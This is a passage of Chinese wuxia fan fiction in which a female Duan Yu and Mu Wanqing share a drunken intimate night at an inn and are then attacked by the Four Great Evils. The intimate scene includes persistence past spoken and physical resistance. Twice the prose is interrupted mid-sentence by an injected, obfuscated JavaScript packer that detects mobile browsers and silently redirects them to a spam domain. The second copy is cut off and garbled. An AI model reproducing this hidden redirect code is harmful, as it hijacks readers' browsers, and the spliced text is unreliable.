良久不闻木婉清答复,她心中一紧,脖颈上被人虚虚扣住,耳边却拂过温热馥郁的气息,木婉清仿佛很轻地叹了口气,手指揉捏了一下她的耳垂,道:“我舍不得,下不了手。” 段钰靠在她怀里,只觉耳中一麻,心绪骤乱,呆呆看着她手臂上胡乱包扎的布条,道:“那你要怎么办?” 木婉清道:“把你送回家,我回去便禀明师父。违背誓言的是我,这过错我一人担了便是,我只需在她要下手之前夺去她的剑,再当着她面自尽即可。” 段钰半晌方道:“你怎么总轻言生死呢?” 木婉清不答,未过多时,手背上似有水滴砸下,此刻天空明净万里无云,不似将有雨至。她张开手掌,又有一滴砸在手心,慢慢浸进了指缝间。 轻轻合拢五指,她把那滴泪握在手中,任由更多眼泪砸落在手背上,至始至终静默不语。 离开无量山之后,马儿上了官道,入夜前赶到离山数十里外的镇子上。段钰先前与马五德经过此处,知道这镇子地处要道,四通八达,商队往来频繁,镇上设有不少客栈,便带着木婉清入住先前住过的那家。那掌柜曾受马五德恩惠,因在不久前见过段钰,知晓她是马五德看重的贵客,是以殷勤备至,特地让伙计清出一间上房,又备下热水与酒食送入房中。 许是饿过了头,段钰吃了几口菜便停下筷子。见木婉清面前碗筷一动不动,疑惑地看了她一眼。木婉清道:“你就不怕有人在饭菜里下毒?这么快就忘了中毒的事了?” 段钰无言以对,道:“你看我像是中了毒的样子么?” 木婉清依旧不动,段钰只好陪她坐着。觉得有些口渴,拿起手边茶水一饮而尽,入口方知是花酒。 木婉清颇为奇异地朝她一瞥,道:“你能喝酒?” 这酒是本地人依时节采摘鲜花与花蜜入酒所酿,入口绵软甜蜜,不闻酒气,只觉花香阵阵,然则后劲十足,与烈酒无异。她这猛然喝下去一大杯,已觉有些微醺,佯装不在意道:“嗯,我酒量很好。”其实不然,心中暗呼不妙,擦了擦嘴道:“后头有水,我去洗一洗身上尘土,你慢慢吃。” 头重脚轻走向侧间,解衣入浴,被那热腾腾的水汽一熏,好似置身云端,轻得不像是自己的身子,只消清风吹拂,便像那湖畔柳枝般款款摆摆,在流水中时沉时浮。 如此昏昏然在水中泡了许久,多亏了这浴桶不深,才免去了溺毙之险。朦朦胧胧看见一人站在身边,登时一惊,恢复了几分清明。待看清来人面孔,如花露承珠,冰砌雪凝,说是画中人也不为过,痴愣愣看了好一会儿,方想起这人是谁,道:“你怎么进来了?” 木婉清语气不善道:“这么久不出来,我以为你被淹死了。” 段钰按了按额头,低声道:“你出去,我这就穿衣。” 木婉清走后,她慢吞吞擦干身上水,披了件薄衣走了出去,回到桌边单手支颐看着木婉清怔神。 木婉清举筷随意吃了几口,道:“看甚么?” 段钰脱口道:“看你。” 木婉清放下碗筷道:“我很好看是么?” 段钰赞道:“当然,你是很美很美的。我从前养过一种花,你比它美十倍……不,百倍。” 木婉清绕过一桌残羹冷炙,在她身旁坐下,凝视着她道:“那你为甚么不要我?” 段钰心道怎么又来了,摇摇头:“你是人,不是花。就算是花,也不是想折就折,想要就能要的。” 说完便觉唇上一热,一股馨香扑来,间有些许酒气。她呆了一会儿,鬼使神差道:“你怎么喝酒了。”话一出口,又被吻住了。 或许是酒意醉心,段钰心中浮起一个怪异的念头,这人说话总是夹枪带棒的,没想到嘴唇却是这么软。木婉清并未深入,只是含着她的唇瓣轻吮□□,段钰腰腹麻软,唔了一声,伸手轻轻推了推木婉清,道:“……够了,你醉了。” 木婉清目光幽深暗昧,轻轻拨开她虚软无力的手,道:“我们不是朋友么?” 段钰疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160843|180626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惑道:“这和朋友有甚么干系?” 木婉清忽然在她耳边吻了吻,以气音道:“我都看到了。你和钟灵,不是趁我不备,也这么做了?” 这句话便如平地惊雷,段钰惊惧地看着她,心突突乱跳起来,道:“原来,你……你都看到了……” 木婉清道:“嗯,我全都看见了。” 段钰闭了闭眼,钟灵,钟灵……她不敢再想下去,手颓然落下,低声道:“你当时是不是觉得很可笑?” 木婉清缓缓抱住她,埋在她发间深深一嗅,唇角从她白玉似的耳垂旁滑过,叹道:“不,我只是觉得,钟灵实在愚蠢。” 段钰被她看得浑身发热,指尖在她眉眼间轻勾慢绘,似乎也被那双眼中所藏的流火燃着了,连呼出的气息都变得滚烫起来。木婉清微一抿唇,只觉得她身上水汽犹在,气息格外清冽,隔着薄薄衣衫揽住那柔软腰肢,头抵在她肩上,发出一声心满意足地喟叹。 床帐不知什么时候放了下来,段钰后脑刚沾上枕头,木婉清便又追着吻了上来。两人唇齿缠绵,因初涉此道,不免有些青涩,时常有磕碰,不过几回口中就多了几道细伤。唇舌卷过,含弄轻吮,纠缠时的些微刺痛却叫人心绪震荡,更是沉沦于此,难以自拔。 与钟灵在山洞那夜段钰神志不清,只记得依稀是肌肤相近,啜泣呻吟,末了便是钟灵发上那朵艳丽的茶花。到如今再想起,仿佛一段暧昧朦胧的梦,只可意会,难以言描。 此时她虽醉了,却清清楚楚知道自己在做什么。 热意如潮涌一般,急不可耐地要寻求一个发泄的出口,只是宣泄无法,却又推拒不得,在木婉清臂弯间低低喘息。 木婉清一手勾住了段钰颈项,在她张口时噙住那湿软嘴唇,将她口中那呜咽与抗拒一同逼了回去。她身周幽香同血腥气息混合在一起,简直是诡谲万分,像极了书中所说徘徊在古墓边的艳鬼,全然不似初见时的清冷,连眼角眉梢都带着一股蛊惑之意。那修长手指如拨挑琴弦一般,段钰面色潮红,随她指尖滑过,肩头微微颤动。木婉清痴缠地吻了她一会儿,解开她的衣带道:“又在想些甚么?” 段钰衣衫半褪,挂在手臂上,不敢去看她,低低喘息一声,并不回答。木婉清在她肩上轻一咬,不悦道:“不许想别人。” 段钰自然知道她说的是谁,湿润的眼睫颤了颤,道:“你的话好多。” 这句话当日曾出自木婉清之口,如今被她这般软绵绵地说出来,添了几分撩拨之意。木婉清低头吻住她嫣红嘴唇,略为新奇地轻拢住那柔软之处。或因酒力熏蒸,肌肤微微汗湿,温软柔滑,与手掌相触似有吸附之力,心中更是情动不已,无意瞥见她腕上的银镯,一股嫉妒之情油然而生,在纤细脖颈上重重留下痕迹,发狠道:“往后不准你见钟灵。” 段钰如置身热潮中,酥麻自后脊一路冲向头顶,眼角溢出水光,咬住牙关方不泄露呻|吟,闻言胸口滞闷,道:“我见她……我和她没甚么可见的。”一面沉醉于此,一面又因木婉清之言想起钟灵,心头依然有些难过,红着眼不去看她。 木婉清的身影顷刻间便笼罩下来,气息也随之迫近,段钰躲避不得,又被她吻住了嘴唇。这时一只手从发间穿过,按在她脑后,稍一用力,她便下意识张开了嘴,木婉清唇舌直驱而入,如疾风暴雨一般,段钰被她吻得面红耳赤,发出几声抗拒的呜呜声,悉数咽了回去。 半晌后木婉清眉头一皱,吃痛放开她,唇上水光淋漓,鲜丽浓艳,如同染了胭脂。她抹去唇上血水,淡淡道:“怎么不看我,你怕我做甚么?难不成被我说中了心事?你不过是一朝被蛇咬,怕我和钟灵一样,最后也成了你姐姐,当真是无稽之谈。” 段钰哽咽道:“你反复提钟灵,说了这么些奇奇怪怪的话,是不是为了作弄我?我没甚么朋友,钟灵、钟灵……你明明知道,以后我也不会再见她了,看我这样,你很高兴么?” 木婉清静静听她说完,方道:“我是很高兴。” 段钰怎么也想不到她竟会承认了,怒道:“你——”幽香袭来,话未出口,又被堵了回去。 木婉清在她膝弯处咬了一口,冷冷道:“你不见她,我能高兴一辈子。” 段钰隐忍再三,难敌汹涌热潮,脑中一片混沌,低声啜泣。 木婉清长发被汗浸湿,贴在额头脸颊上,更显容色明丽,唇色鲜润。段钰见她轻轻一笑,不觉为她容貌所惑,乖乖凑了上去。但见木婉清眸光沉沉,紧箍她腰身。 段钰胸前又痛又痒,竟摸着一个肿胀齿印,断断续续呻吟道:“做甚么……咬我。” 木婉清紧盯着她潮红的面庞道:“让你长点记性,别总是忘了我说过的话。” 段钰一下睁圆了眼睛,惊喘连连,双手想要推开她,却被木婉清轻而易举扣住。木婉清撩起她微湿的发尾,在她脖颈间搔弄拨划,漫不经心道:“不过是一个钟灵,也这么值得你放在心上。” 段钰眼中水雾迷蒙,身如着火一般,随着情欲载沉载浮,全然不知她在说甚么。木婉清目光微冷,放开她的双手,捏住银镯开口处,稍一用力,就将镯子从段钰手腕上取了下来。 她随手朝外一扔,叮铃一声清响,那镯子便不知滚去了哪里。 段钰闭着眼,一线水光滑入鬓角,从胸前到脖颈潮红一片,仿佛不胜情欲。她本意是借酒消愁,而非借着一个人来忘却另一个人。可心知不妥,却是情难自禁,甘心被引诱,在风月欲潮中沉沦下去。 木婉清俯身与她后背贴合,炽热气息落在她颈后。两人十指紧扣,呼吸相闻,木婉清道:“别想那么多了,往后我陪着你。你想去甚么地方,我都陪你去。” 段钰胸口一窒,仿若被甚么东西狠狠击中心扉,有种微醺的悸动,目光从她肩上伤处一瞥而过,轻声道:“那你也别再受伤了。” 木婉清含糊应了一声,恋恋不舍地在她耳后吻了又吻,段钰被她抱在怀里,便在那冷冷幽香之中昏然睡去。 7. 第 7 章 翌日晨起,段钰头昏脑胀,全身骨头仿佛都要散架了。而胸前腰腹以及腿间,更是酸麻刺痛,掀被细看,一连串斑驳细碎的暧昧痕迹如缠蛇般,从肌肤蜿蜒朝上。 她这才发觉自己并未着衣,浑身赤|裸地躺在锦被里。忆起昨夜之事,只觉羞愧难当,在床上小心摸了半天,这才发觉身后无人,枕边放着一叠方正的衣物,正是昨夜她穿过的。一时满心烦恼尽散,想着木婉清是如何找到这衣衫仔细叠起的,段钰心中犹豫,竟然不敢去碰。半晌之后,才裹着被子,红着脸去勾衣带,轻轻扯进被中,慌乱穿了起来。 下床时一落地便觉双腿麻软,那火辣磨砺之感犹在,她忍着不适穿好衣衫,见地上只有一只鞋,另一只不知所踪,便俯身在床下找寻,忽见床脚后有一物,伸手够着后取出,却是钟灵那枚银镯。 段钰静视良久,无声一叹,不敢再将它戴回手上,又怕木婉清发觉,便放在怀中贴身藏起。 她刚穿好鞋就听见有人推门进来,脑中轰然一声,面红过耳。在屋中慌忙转了几圈,想寻个地方躲藏。听见脚步声由远及近,心下更是慌张不已,快步向浴房走去,不想正撞上一人,阵阵幽香传来,心口蓦然一跳。 “你要去哪里?” 木婉清已恢复了平日着装,依旧是一身黑衣,面上蒙着黑纱。段钰不知为何,竟不敢与她双眼对上,支支吾吾道:“我、我想……” 经过了昨夜一事,两人之间似乎多了些说不清道不明的东西。段钰正觉懊恼,万分后悔喝了那杯酒,打定主意,无论木婉清说什么,都一口咬定自己忘了。便听木婉清道:“你脸红什么,现在知道不好意思了?昨夜可没见你这样。” 段钰反驳道:“昨夜明明是你……” 然话一出口,便知中计。只见木婉清眼中含笑,道:“很好,看来你还记得,我还以为你要装作不承认呢。” 段钰被道破心中所想,羞恼已极,一言不发转身就走。木婉清拽住她的手臂道:“我说让你走了吗?” 段钰咬了咬唇,回头看她:“你想怎么样?” 木婉清道:“昨夜之事你还记得多少?” 她不提还好,一提段钰更是恼怒,反问:“昨夜有什么事,我喝了酒,什么也记不清了。” 木婉清定定瞧了她一会儿,道:“那就是都全记得了。”又道:“过来吃早饭。” 段钰其实没什么胃口,被她硬拉到桌边,勉强就着小菜喝了半碗清粥,至始至终二人无话。她小心翼翼抬头看了眼木婉清,谁知木婉清一直在看她。她忙转开目光,低头去看碗碟上的青花纹,心却怎么也静不下来。 食不知味地吃完早饭,二人下楼牵了马。黑玫瑰休息了一夜,又恢复了神采奕奕的模样,段钰抚摸着它的鬓毛,笑道:“黑玫瑰,你睡得可好?” 一旁的伙计啧啧称奇,道:“没想到这马竟是姑娘你的,它脾气可真是大得要命,我们几个都近不了它的身。” 木婉清冷冷瞥了他一眼,翻身上马,一把将段钰拉了上来,飞快出了客栈,一路策马疾奔,不过片刻功夫便从镇上穿过,来到了镇外的道路上。 段钰尽力挺直腰背,不想与木婉清有所触碰。没想到木婉清却只手将她圈在怀里,道:“乱动什么?” 这下二人前胸后背紧密相贴,段钰陷在温暖的怀抱中,又被她身上幽香笼罩,一颗心不由忽上忽下。想挣脱束缚,腰间的手臂反倒收得更紧了,木婉清的声音从耳旁传来:“你很讨厌我?” 段钰心中一颤,低声道:“不,怎么会……” 马儿通晓人性,放慢脚步,缓缓走入林中,如此行了不知多久,段钰起先因心中烦乱,尚未留意,待出了林子,忽见一条溪流自莽莽山林间流下,水流清澈见底,疑惑道:“我们这是要去哪儿?” 木婉清道:“你不是说不想回家,那就回我住的山谷去。” 段钰想起那地方就在万劫谷旁,顿时心生抗拒,立刻道:“我不去。” 木婉清道:“为什么不去,因为钟灵?” 段钰一阵沉默,最后道:“我现在想回家了。” 木婉清语带讥诮,道:“我问你话,为什么不答?莫非你还惦记着钟灵,别忘了你们是亲姐妹。” 段钰面上难堪,道:“我和她……那是我的事,不用你管。” 木婉清指尖探进她怀中,摸出了那枚银镯。段钰微怔,伸手去抢,木婉清把镯子捏在手中,道:“那你告诉我,这是什么?” 段钰眼眶泛红,负气道:“放我下马,我自己回家!” 木婉清冷冷道:“你惹了我还想走,世上可没有这种好事。回谷后我自会禀明师父,你以后就跟在我身边,哪里也不许去。” 段钰急道:“你!你怎么不讲道理?” 木婉清嗤道:“什么道理,我就是道理!你听也好,不听也罢,总之以后都不会再见到钟灵了,这东西留着也是无用。” 她屈指一弹,流光一闪,银镯飞向溪流对岸,在石上弹起落进树林里,段钰眼睁睁看着镯子消失不见,想扑下马去追,木婉清却将她紧箍在怀里,厉声道:“我的话你敢不听?” 段钰气得浑身发抖,突然听见一阵桀桀笑声,一男子从林中跃出,身形如鬼魅,快到难以目视,瞬息之间就来到了二人面前。 他身形极高,生了张奇长的怪脸,双颊削瘦,眼窝深陷,如游魂一般。青色衣袍空荡荡披在身上,看着像根竹杆。 他目中露出淫邪之色,打量着段钰道:“运气不错,居然被我撞上了两个美人儿。” 他展开手,赫然是钟灵的那枚银镯,段钰情急之下道:“那是我的东西,还给我!” 那人舔了舔嘴唇,笑道:“想拿回东西,嘿嘿,那就陪我睡上一觉……” 不等段钰说话,木婉清在她肩头一按,借力跃起,同时抽出袋中长剑,朝那人砍去。那人轻飘飘向一旁掠去,口中发出极为难听的笑声,躲开了木婉清这一剑,刹那间便到了段钰身边,木婉清高声道:“黑玫瑰!” 马儿长嘶一声,抬起前蹄向那人踏去,那人往后疾退,又向木婉清飘去,转瞬就到了她背后,段钰惊道:“木姐姐,当心!” 木婉清飞快转身,挥剑一斩,那人哈哈大笑,笑声忽细忽粗,不论木婉清面朝何方,他总能出现在她身后,便如戏弄她一般。木婉清知道此人轻功卓绝,自己不是他的对手,招式一变,再度出剑刺向那人,在他闪身之际,抬手放出一枝毒箭,正射向那人面门。 那人避开射来的毒箭,长臂一展,摘下了木婉清脸上的面纱,□□道:“原来还有个更标致的……没想到大理这穷山恶水之地,还能见到这等尤物,既然撞到了我手上,那我可就不客气了。” 木婉清因怒意面颊染上薄红,更显明艳动人,那人见此美色,脸上一喜,道:“一个大美人,一个小美人,就乖乖从了我罢,保你们销魂蚀骨……” 木婉清冷冷一笑:“你也配?” 段钰见状不好,骑着黑马猛冲过来,那人立刻闪躲到一旁,木婉清趁此机会翻身上马,段钰道:“木姐姐,我们快走!” 马儿四足发力,跃过溪流,仿若离弦之箭般在树林间穿梭。谁知那人竟然也追了上来,在马儿身后不远紧跟不放,任黑马如何转向,都无法摆脱他。他狞笑道:“美人儿,你若是不听话,那就别怪我拧断你的手脚。” 段钰见他伸手朝自己抓来,惊叫一声。马儿调头往西南方冲去,那人高声道:“你们逃不掉的!” 木婉清咬牙催马疾驰,在段钰耳边低声道:“等会我下马去拖住他,你一直往前走,记住千万别回头,黑玫瑰会带你去找我师父……” 段钰一想到木婉清若是落在那人手中,不知会受什么侮辱,心下惶惶,道:“不,要走一起走,我怎么能抛下你一个人?” 腰间手臂随之收紧,耳边传来一声叹息,木婉清道:“你这傻子……也罢,横竖不过一死,你怕不怕?” 段钰胸口热血沸腾,大声道:“我不怕!” 木婉清闻言勒马回身,只见一道身影在林中飘忽疾闪,迅捷如飞鸟,眨眼间就来到了二人所在之处。在那人身后,又有一道黄色人影追了过来,骂骂咧咧道:“奶奶的!老四,你跑这么快做什么!说了去找我徒弟,你偏要拐到此处来!” 段钰定睛一看,那黄衣人不是南海鳄神又是谁? 那人兔起鹘落,已飞身而上,狂笑道:“还想跑!看你们今天还能跑出老子的手掌心吗?” 木婉清冷笑一声,脚踩紧马镫,半身挂在马背上,挥手接连向他射出数枝毒箭,南海鳄神在后头暴喝一声:“叫你不应,你是哑巴了?”那人险险避开两枝短箭,高声道:“等我捉到这两个美人再和你说!” 段钰当下见到他心中一喜,忘了此人也是个大恶人,急中生智呼喊道:“喂!这人欺负我,你要是不来救我,我就不做你徒弟了!” 南海鳄神长啸一声,怒道:“谁敢欺负我徒弟?老子非把他的头拧下来不可!” 段钰指向那青衣人,道:“就是他!” 南海鳄神立时奔到那人身旁,喝道:“老四,你敢欺负我徒弟!” 那人笑道:“你收徒不是只收男人,何时收起女人来了?” 南海鳄神道:“男人女人都是人,我南海派收徒,一向只收资质最好的。” 段钰忙道:“他追着我不放,还说要把我捉了去,让我陪他……”淫亵之词她自然说不出口,反倒气得脸通红。 南海鳄神闻言目露凶光:“你要捉我徒弟做甚么?是了,你瞧她资质不凡,想快我一步捉了她去,坏了我的好事,让我南海派后继无人!” 他怒吼一声,纵身向那人扑去。那人显然不敢与他对上,只一味闪躲。南海鳄神轻功远不如那人,刚追到他身旁,那人脚尖点地,飘飘晃晃往一旁掠出一大截,道:“老三,你听这小娘们胡扯。我不过是看她二人姿色不错,想捉来睡觉罢了,谁知道她是你徒弟?” 段钰趁机道:“不错,他刚才就是这么说的,他分明就是没把你放在眼里,视南海派为无物,这才敢出言侮辱。” 南海鳄神怒道:“你瞧不起我,我要让你知道我的厉害!”他掌法狠厉,往那人身上拍去,掌风所到之处,林叶簌簌而落,如平地风起。那人运气反击,右掌朝南海鳄神劈去,两股掌风相碰,霎时落叶纷飞,尘沙飞扬。那人冷笑道:“老三,别以为我是怕了你,我只是不愿伤了咱们四大恶人之间的和气,你以为我当真不敌你?” 两人缠斗之时,掌风烈烈,丈余方圆之内密不透风。段钰头一次见到高手对决,只觉目眩神迷,招数变化奇异莫测,自是看得入神非常。然而受其掌风所致,胸口阵阵发闷。木婉清同样面色苍白,驭马避到一旁,段钰方觉缓和不少。 突然一条青影轻飘飘插入,她掌心化劲,在南海鳄神肩头拂了一掌,将他向外推去,另一人趁机抽身脱战。南海鳄神愤愤道:“三妹,你做甚么?” 段钰向来人看去,那女子约莫四十来岁年纪,一身淡青长衫,样貌秀丽,她手中抱着个两三岁大的男孩,便如随处可见的乡村妇人。若非她两边面颊上各有三条自眼底划到下颊的殷红血痕,瞧着有几分瘆人,任谁也想不到她竟身负武功。 段钰听他二人唤老三老四,这时又来了个三妹,顿时明白了,这就是那四大恶人里的另外两名恶人,四人之间自有一番排序,或许是武功,或许是别的。观这三人武功都极为高明,各有所长,段钰不禁想到,那排在第一的恶人又会如何呢? 那女子怀里男孩大哭起来:“妈妈,我要妈妈。” 女子轻拍他哄道:“乖孩子,不哭,妈妈就在这儿呢。”又轻摇晃那孩子,低唱起儿歌来,语声格外温柔。 南海鳄神听在耳中甚是烦躁,道:“别他妈的唱了,装模作样干甚么,赶快弄死他算了。” 女子笑道:“三弟,这么多年过去了,你还是死性不改,总想着要爬过我的头去。明明你才是老三,偏要叫我三妹,你若是再叫一声,我可就不跟你客气了。” 南海鳄神怒道:“怎么,你是想打架?” 女子哄了那孩子几句,道:“我随时奉陪,不过老大就要来了,这时候动手,我怕你又得挨揍。” 这下连那青衣人也跟着笑了起来,南海鳄神勃然大怒:“谁说老大揍我了!” 女子眼波一转,斜向木婉清脸上,微微色变,笑道:“这两个小姑娘生得不错,尤其是这个黑衣裳的,这双眼睛生得极美,我要把她的眼珠子挖出来。” 段钰道:“不行,好端端的,你为什么要挖人家的眼珠?” 女子幽幽一叹,道:“我见到好看的东西,便觉得好生羡慕,想着若能长在自己身上该有多好。” 木婉清轻轻一捏段钰耳垂,漠然道:“你和她有什么好说的。” 女子笑道:“不错,等我挖了你的眼珠,你再说这话也不迟。”身姿迅疾如电,右手五爪转为手锥,往木婉清面上袭去。 段钰急道:“我要是被杀了,你可就没徒弟了!” 南海鳄神闻言立刻纵身飞来,一掌将女子挡下,怒道:“三妹,连你也要对我徒弟下手?” 女子与他对了几招,怀中男孩被吓得哇哇大哭。女子抱着孩子拍了拍,道:“原来这个黑衣裳是你徒弟。你再叫错一句,我就杀了她。” 南海鳄神道:“错了,她前头那个才是我的徒弟。” 女子慢条斯理道:“既是如此,那我就挖了那个黑衣裳的双眼,你徒弟我只挖一只,再把她还给你,好不好? ” 段钰忽觉腰间一松,转身看去,木婉清已经下了马,她惊道:“你……你快上来。” 木婉清丝毫不惧,道:“你尽管来挖便是,但需得放她一命,不可动她半根毫毛。” 女子仿佛没想到她会这般说,笑道:“好,看在老三的面子上,我怎么也要留这小姑娘一命。那你这双漂亮眼珠,今日就留不住了。” 段钰难以置信,慌忙下马,木婉清却扶住她的腰。段钰慌乱道:“你为什么要答应,你疯了吗?” 木婉清微微仰头看她,目光清澈如水,道:“一双眼睛能换你一命,我怎会舍不得?可我还没有看够你,往后就再也看不见了。” 段钰眼眶泪水盈然,哽咽道:“我不要你……你用眼睛去换我。” 一点温热落在木婉清手背上,她静静道:“我要是成了个难看的瞎子,你还会要我吗?” 段钰已是泣不成声,死死抓住她的手道:“不管你变成什么样子,我都不会扔下你的。” 木婉清定定看了她一会儿,将她垂落的长发别向耳后,道:“我信你。” 那青衣人道:“二姊,你挖了她的眼睛,她可就成了个没人要的丑婆娘了,不如就给了我罢。” 女子道:“老四,你打得是什么主意,别以为我不知道。” 忽地从山中传来一阵尖锐的铁哨声,南海鳄神与青衣人道:“是老大!老大来了!”也不管此处如何,不敢再逗留下去,同时纵身而起,往哨声处疾奔去,不过片刻便消失在林中。 唯独那女子站在原地不动,笑容满面道:“小姑娘,你想好没有?是不是舍不得了?” 木婉清掰开段钰的手,对那女子说道:“没什么舍不得的,来罢。” 女子抬手就要去挖木婉清的左眼,段钰失声叫道:“不行!你来挖我的眼睛罢!” 女子微笑道:“晚了,她已经答应了。”她出手如电,向木婉清眼睛刺去,段钰心急之下一勒缰绳,马儿转身立刻冲向那女子。 木婉清见那女子笑得古怪,急切道:“你这呆子,你不是她的对手!”段钰却不管不顾,待马儿到女子面前时,眼看就要踏向她,女子足尖点地,身轻如燕,翩然而起,自半空中提起段钰后领,将她高高抛起。段钰猛然飞向高处,吓得魂飞魄散,心知这般落地少说也要摔个重伤,咬紧牙关不敢去看。谁知下落之时又忽然向上一弹,衣领似被什么东西提住,人便晃晃悠悠停在了半空,回头一看,原来是一条树枝勾住了衣领。 她被挂在树梢上,除了惊吓之外人倒是无碍,只是上不能下不得,勉强稳住身形对那木婉清道:“你快走,别管我了!” 木婉清放下心来,对那女子怒道:“你说不会伤她的!” 女子将怀中男孩向半空抛去,又接在手里,笑道:“我当然没有伤她,你看,我不过是把她丢起来玩了玩,她也没受伤呐。你还是别磨蹭了,长痛不如短痛,让我挖了你这双眼睛!”木婉清知道避不开她,索性站在原地不动。女子刚要触及木婉清左眼,忽听得林间飘来一阵笛声,登时收回了手,转身看去。林荫下一宽袍大袖的中年男子缓步而出,他形貌高雅,手持一支铁笛吹着,那笛声清越悠扬,曲调悠闲,段钰听了几乎喜极而泣,喊道:“高伯伯!” 那男子微微一笑,从他身后的树上跃起一道黄影直奔向段钰,段钰见了来人喜道:“褚叔叔,你也来了?” 那人黄衣褚幞头,做武官装束,手握一根铁杆,甩出一条软索卷在段钰腰间,将她从树上放了下来。女子道:“原来是你们,老四就是险些栽在你们手中的。” 宽袍客闻言道:“四大恶人声名在外,久闻叶二娘大名,今日得见,幸会至极。荒郊野岭实难待客,何不纡尊入大理皇府,且让我等一尽地主之谊。” 叶二娘怀里孩子大哭不止,又见树林东西南三角各自出现一人,也是武官打扮。一人手持判官笔,一人手持熟铜齐眉棍,一人腰间插着对板斧,加上方才使软索的,正是大理宫中褚、古、傅、朱四大护卫。段钰欣喜道:“啊,你们、你们怎么都来了。” 木婉清见来者人多势众,隐隐以那宽袍客为首。段钰又称呼他为伯伯,想是帮手无疑,心中大定。 叶二娘对孩子道:“别哭别哭,这群英雄好汉只会欺负咱们孤儿寡母。”语声凄凉,听着伤心万分,叫人不忍。 那男孩仍是大哭,救下段钰那护卫闻言立刻喝道:“我褚万里领教阁下高招。”手中软索应声而出,灵活如游蛇般,往叶二娘肩头击去。 叶二娘抱着孩子左闪右避,道:“咱们娘俩今日难逃此劫,好孩子,黄泉路上你先去一步,妈妈随后就来,好不好?”待软索袭来时,她转身将孩子迎向软索,褚万里大惊,急急收了铁杆。另一个护卫立刻飞身接上,甩出熟铜棍朝叶二娘当头砸去,叶二娘转身闪躲,又以那孩子为挡,那护卫顾忌伤到孩子,出手时不免稍有凝滞,叶二娘笑道:“你们两个乖儿,这时知道心疼娘了。” 那持铜棍的护卫道:“有本事把孩子放下,咱们正正经经比上一场!” 叶二娘抬腿向他踢去,这一脚正中护卫手臂,手中熟铜棍险些脱手飞出,踉跄几步朝一旁斜扑去。叶二娘笑道:“以多欺少,这就是你们大理国的待客之道么?” 这时笛声急响,震得三人耳鼓一痛,纷纷收手退去。宽袍客走上前来,十指齐按笛孔,鼓气疾吹,铁笛尾端飞出一股劲风,向叶二娘脸上扑去。叶二娘一惊之下转脸相避,铁笛一端已指向她咽喉*。饶是叶二娘应变神速,也猝不及防,将手中孩子向宽袍客一抛,道:“看来今日是这孩子不走运。” 段钰道:“高伯伯,小心!” 宽袍客大袖挥出,不等那孩子落地便卷至身前。叶二娘趁机去夺他手中铁笛,然手一抓上笛身,只觉如握热炭,以为是笛上敷有毒药,急忙松开手向后跃去。 宽袍客把孩子递给一旁护卫,但见他左掌心殷红如血,叶二娘看在眼中又是一惊,笑道:“阁下内功高强,没想到大理还有这般人物。请问尊姓大名?” 宽袍客笑而不答,道:“既来之则安之,不如请到皇府做客。” 叶二娘冷笑一声,袖中飞出暗器,分往宽袍客要害之处打去,宽袍客挥笛一一击落,却见她投入林中,飘然远去,料得再追也是无用,便召回护卫。 段钰悄悄走到木婉清身边,轻轻握住她的手,见她双眼无恙,道:“刚才吓死我了,多亏高伯伯他们及时赶到,不然我都不知道该怎么办……” 她脸上沾了不少土灰,被胡乱一擦活像只花猫。木婉清凝视她眼角泪痕,道:“你叫他伯伯,他是你家中长辈?” 段钰道:“你说高伯伯吗,他是……” 那宽袍客已来到段钰面前,躬身道:“小姐,总算找到你了,快跟我们回去罢。” 段钰看一身风霜,有些愧疚,道:“高伯伯,是不是爹爹让你们出来找我的?还有伯伯,他是不是也很生气?” 宽袍客道:“两位爷台都十分挂念小姐,担忧小姐孤身一人在外,若遇上什么不测……天幸小姐平安无事。四位护卫寻到马五德家中,听闻你在无量山,便先一步赶来了。我听说那四大恶人一同来了大理,怕你上他们,这才追了上来。” 段钰看到满地亮晶晶之物,都是金银打造的长命牌锁片,好奇道:“这些是什么?” 宽袍客道:“那女子是四大恶人中的叶二娘,听闻她每日要捉一个小儿来玩弄,到了晚上便将之害死。这些东西应是从被她害死的孩子身上得来的。” 段钰想起她方才哄孩子的模样,一阵恶寒,道:“这人心肠好歹毒……她还说要挖了木姐姐的眼睛。” 木婉清此时已重新戴上了面纱,宽袍客及四名护卫都见过了她的面容,知道这少女貌美非常,见其手提一剑,想来应也会武功。段钰道:“这就是木姐姐,是她救了我。” 宽袍客拱手一礼,道:“想必姑娘就是这神驹主人了。我们方才经过此地,听到这马儿嘶鸣,非同寻常,便过来瞧瞧。既是小姐恩人,那就请到小姐府上作客罢。让朱护卫护送你们回大理,我和余下三名护卫去追那叶二娘。此恶一日不除,大理国中不知还有多少小儿丧命。” 段钰有几分不情愿,垂下头道:“好。” 宽袍客带着四名护卫护送段钰出了林子,随后便离去了。那持判官笔的护卫牵马过来,请段钰上马,段钰道:“朱叔叔,我和木姐姐骑那匹黑马就好。” 那姓朱的护卫名朱丹臣,面目清雅,腰间放着一卷书。三人上了官道,他带着孩子骑马跟随在后,木婉清低声问道:“你要回家了,是不是?” 段钰轻一点头:“我不想回去。”一想到母亲多年离家,住在冷冷清清的道观里,又想起钟夫人所托之事,心中更觉难过。 木婉清没说什么,朱丹臣驱马靠近,见段钰闷闷不乐,有意引她说话,笑道:“小姐离府这么久,那些茶花没了主人呵护,应憔悴了不少。” 段钰懊恼道:“啊,我怎么把它们给忘了。” 朱丹臣道:“小姐放心,我看高小姐常去院里照料那些花儿,说不定回去后便发现长势更好了呢。” 段钰勉强笑道:“高姐姐么,是要多谢谢她了。”随后一路再也无话。 那孩子哭闹不休,朱丹臣哄了又哄,忙得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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段钰想起朱丹臣也在,慌张推开她,道:“不行,木姐姐,别这样……” 